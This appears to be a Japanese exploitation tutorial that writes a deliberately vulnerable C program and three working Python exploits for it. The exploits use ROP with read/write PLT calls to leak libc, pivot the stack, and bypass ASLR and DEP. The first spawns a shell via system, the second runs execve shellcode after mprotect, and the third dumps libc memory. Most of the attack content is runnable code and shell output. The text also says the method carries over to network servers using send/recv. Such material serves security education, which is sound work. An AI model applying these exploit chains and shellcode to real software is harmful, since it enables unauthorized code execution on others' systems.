ROP stager + read/writeによるASLR+DEP回避

「ROP stagerによるシェルコード実行をやってみる」では、mmapにより動的に実行可能なメモリを確保しシェルコード実行を行った。 ROP stagerには、ほかにもmprotectなどを使いすでに存在するメモリ領域を実行可能に変更するアプローチもある。 さらに、脆弱性のあるプログラムがread/writeなどのIO関数を利用している場合、そのPLTを利用することでASLR+DEPを回避することができる。 ここでは、IO関数を利用したROP stagerを使い、ASLRおよびDEPが有効な条件下でのシェル起動およびシェルコード実行をやってみる。 また、使われているlibcの詳細が不明な状況において、libcバイナリを直接読み出し詳細を調べる方法についても説明する。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、DEP有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector bof.c

$ echo -e "\x04\x00\x00\x00AAAA" | ./a.out
AAAA

シェル起動を行うエクスプロイトコードを書いてみる

まず、rp++を使って実行ファイル(a.out)に含まれるROP gadgetsを出力する。

$ ./rp-lin-x86 --file=a.out --rop=3 --unique > gadgets.txt

出力されたROP gadgetsをもとに、エクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_plt_read = 0x08048310   # objdump -d -j.plt a.out
addr_plt_write = 0x08048340  # objdump -d -j.plt a.out
addr_got_start = 0x804a008   # objdump -d -j.plt a.out
addr_bss = 0x0804a018        # readelf -S a.out

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080483d3    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

offset_system = 0x0003f430   # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system"
offset_exit = 0x00032fb0     # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit"
offset_start = 0x000193e0    # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " __libc_start_main"

stack_size = 0x800

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_plt_write)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 1)
buf += struct.pack('<I', addr_got_start)
buf += struct.pack('<I', 4)
buf += struct.pack('<I', addr_plt_read)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', addr_bss+stack_size)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', addr_pop_ebp)
buf += struct.pack('<I', addr_bss+stack_size)
buf += struct.pack('<I', addr_leave_ret)

p.stdin.write(struct.pack('<I', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))

word = p.stdout.read(4)
addr_start = struct.unpack('<I', word)[0]
print "[+] addr_start = %08x" % addr_start
libc_base = addr_start - offset_start
print "[+] libc_base = %08x" % libc_base

addr_system = libc_base + offset_system
addr_exit = libc_base + offset_exit

buf = 'AAAA'
buf += struct.pack('<I', addr_system)
buf += struct.pack('<I', addr_exit)
buf += struct.pack('<I', addr_bss+stack_size+20)
buf += struct.pack('<I', 0)
buf += '/bin/sh <&2 >&2\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
p.wait()

このコードは、オーバーフローが起こせるバッファのサイズを引数に取る。

このコードは、まずwrite関数のPLTにreturnし、__libc_start_main関数のGOTアドレスに書かれている4バイトの値を出力する。 __libc_start_main関数はmain関数が呼ばれる前に呼び出されているので、この値はlibc内の__libc_start_main関数を指すアドレスとなる。 次に、read関数のPLTにreturnし、100バイトのデータを書き込み可能なメモリ領域に読み込む。 ここでは、実行ファイルのBSSセクションから0x800バイト先のアドレスを読み込み先として指定している。 最後に、pop ebp; retebpレジスタにアドレスをセットした後leave; retを実行することで、読み込み先のアドレスにstack pivotを行う。 leave命令はmov esp, ebp; pop ebpと同じ働きをするので、pivot先の最初の4バイトは新しいebpの値となり、実際のespはその次の4バイトを指す。 なお、ここまでで参照しているアドレスはすべて実行ファイル中のアドレスであるため、ASLRが有効な場合にも固定となる(実行ファイルがPIEの場合を除く)。

以上のROPシーケンスを送り込むと、__libc_start_main関数のアドレスが出力された後、read関数による100バイトの入力待ち状態となる。 あとは、__libc_start_main関数のアドレスからオフセットを引くことでlibcのベースアドレスを計算し、これをもとにsystem関数を呼び出すシーケンスを送り込む。 ここでread関数が読み込むアドレスは固定となるので、system関数の引数として与える文字列も自由に与えることができる。 ここでは、引数として端末を指している標準エラー出力を標準入出力に複製した上でシェルを呼び出すコマンドを指定している。 また、読み込み時に空けておいた0x800バイトは、ここでsystem関数が呼び出された際のスタックとして利用される。

実際に引数をセットして実行してみる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x83\x04\x08\xcd\x84\x04\x08\x01\x00\x00\x00\x08\xa0\x04\x08\x04\x00\x00\x00\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] addr_start = b75573e0
[+] libc_base = b753e000
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x83\x04\x08\xcd\x84\x04\x08\x01\x00\x00\x00\x08\xa0\x04\x08\x04\x00\x00\x00\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] addr_start = b76013e0
[+] libc_base = b75e8000
$

libcのベースアドレスを得た後、system関数によりシェルが起動していることがわかる。 また、再度実行したときlibcのベースアドレスが異なっていることから、DEPに加えASLRも回避できていることがわかる。

シェルコード実行を行うエクスプロイトコードを書いてみる

上のエクスプロイトコードではsystem関数によりシェルを起動したが、mprotect関数を使えば任意のシェルコードを実行することもできる。 実際にエクスプロイトコードを書くと次のようになる。

# exploit2.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_plt_read = 0x08048310   # objdump -d -j.plt a.out
addr_plt_write = 0x08048340  # objdump -d -j.plt a.out
addr_got_start = 0x804a008   # objdump -d -j.plt a.out
addr_bss = 0x0804a018        # readelf -S a.out

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080483d3    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

offset_mprotect = 0x000ebff0  # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " mprotect"
offset_start = 0x000193e0    # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " __libc_start_main"

stack_size = 0x800

# dup2(2, 0); dup2(2, 1); execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x31\xc9\x8d\x59\x02\x8d\x41\x3f\xcd\x80\x41\x8d\x41\x3e\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_plt_write)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 1)
buf += struct.pack('<I', addr_got_start)
buf += struct.pack('<I', 4)
buf += struct.pack('<I', addr_plt_read)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', addr_bss+stack_size)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', addr_pop_ebp)
buf += struct.pack('<I', addr_bss+stack_size)
buf += struct.pack('<I', addr_leave_ret)

p.stdin.write(struct.pack('<I', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))

word = p.stdout.read(4)
addr_start = struct.unpack('<I', word)[0]
print "[+] addr_start = %08x" % addr_start
libc_base = addr_start - offset_start
print "[+] libc_base = %08x" % libc_base

addr_mprotect = libc_base + offset_mprotect

buf = 'AAAA'
buf += struct.pack('<I', addr_mprotect)
buf += struct.pack('<I', addr_bss+stack_size+24)
buf += struct.pack('<I', (addr_bss+stack_size+24) & ~0xFFF)
buf += struct.pack('<I', 0x1000)
buf += struct.pack('<I', 7)
buf += shellcode
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
p.wait()

このコードも、オーバーフローを起こすバッファのサイズを引数に取る。 シェルコードは、「ROP stagerによるシェルコード実行をやってみる」で使ったものと同じである。 また、mprotectの第一引数はメモリのページ境界でなければならないので、シェルコードが置かれるアドレスの下位12バイトを0に落としている。

引数をセットし実行してみる。

$ python exploit2.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x83\x04\x08\xcd\x84\x04\x08\x01\x00\x00\x00\x08\xa0\x04\x08\x04\x00\x00\x00\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] addr_start = b762c3e0
[+] libc_base = b7613000
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ASLRおよびDEPが有効な条件下で、任意のシェルコードが実行できることが確認できた。

libcバイナリの読み出しをやってみる

IO関数を使えば、GOTアドレスの値に限らず任意のメモリアドレスの内容を読み出すことができる。

これまでのコードでは、使われているlibcの詳細がわかっている前提でオフセットを計算していたが、実際には不明な場合も多い。 そこで、__libc_start_main関数のアドレスをヒントに、libcバイナリそのものを直接読み出すコードを書いてみると次のようになる。

# exploit3.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])
offset_leak = int(sys.argv[2], 16)
leak_size = int(sys.argv[3], 16)

addr_plt_read = 0x08048310   # objdump -d -j.plt a.out
addr_plt_write = 0x08048340  # objdump -d -j.plt a.out
addr_got_start = 0x804a008   # objdump -d -j.plt a.out
addr_bss = 0x0804a018        # readelf -S a.out

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080483d3    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

stack_size = 0x800

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_plt_write)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 1)
buf += struct.pack('<I', addr_got_start)
buf += struct.pack('<I', 4)
buf += struct.pack('<I', addr_plt_read)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', addr_bss+stack_size)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', addr_pop_ebp)
buf += struct.pack('<I', addr_bss+stack_size)
buf += struct.pack('<I', addr_leave_ret)

p.stdin.write(struct.pack('<I', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))

word = p.stdout.read(4)
addr_start = struct.unpack('<I', word)[0]
print "[+] addr_start = %08x" % addr_start

addr_leak = addr_start + offset_leak

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_write)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', addr_leak)
buf += struct.pack('<I', leak_size)
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print p.stdout.read(leak_size)
p.wait()

このコードは、バッファサイズ、__libc_start_main関数からのオフセット、読み出すサイズを順に引数に取る。 また、このコードではlibcバイナリから得られるオフセット情報は使っていない。

引数を変えながら実行し、libcを含む文字列を探した結果次の出力が得られた。

$ python exploit3.py 100 0x140000 0x10000 | strings | grep -i libc
libc
LIBC_FATAL_STDERR_
__libc_malloc
__libc_realloc
__libc_memalign
__libc_valloc
__libc_pvalloc
__libc_calloc
__libc_fork
glibc 2.15
libcidn.so.1
GNU C Library (Ubuntu EGLIBC 2.15-0ubuntu10.5) stable release version 2.15, by Roland McGrath et al.
libc ABIs: UNIQUE IFUNC
cnt < (((uint32_t) (((__libc_tsd_LOCALE))->__locales[__LC_CTYPE])->values[((int) (_NL_CTYPE_MB_CUR_MAX) & 0xffff)].word))
n <= (((uint32_t) (((__libc_tsd_LOCALE))->__locales[__LC_CTYPE])->values[((int) (_NL_CTYPE_MB_CUR_MAX) & 0xffff)].word))
*** glibc detected *** %s: %s: 0x%s ***
__libc_errno != 34 || buf != ((void *)0) || size != 0

この結果から、使われているlibcがUbuntu EGLIBC 2.15-0ubuntu10.5であることがわかる。 このような情報をもとに同一のlibcバイナリを見つけることができれば、そのオフセット情報を利用してROPを行うことができる。 あるいは、出力したバイナリデータの中からROP gadgetを探して使うこともできる。

read/write以外のIO関数を使う

ここではIO関数としてread/writeを使ったが、ネットワークサーバにおけるsend/recvでも同様のことができる。 また、標準出力がfull bufferingでなければ、puts/getsでも可能である。 あるいは、実行ファイルに十分なROP gadgetがある場合、直接read/writeなどのシステムコールを呼ぶことも考えられる。 さらに、open関数やmmap関数などを合わせて使うことで、任意のファイルの読み書きを行うこともできる。

関連リンク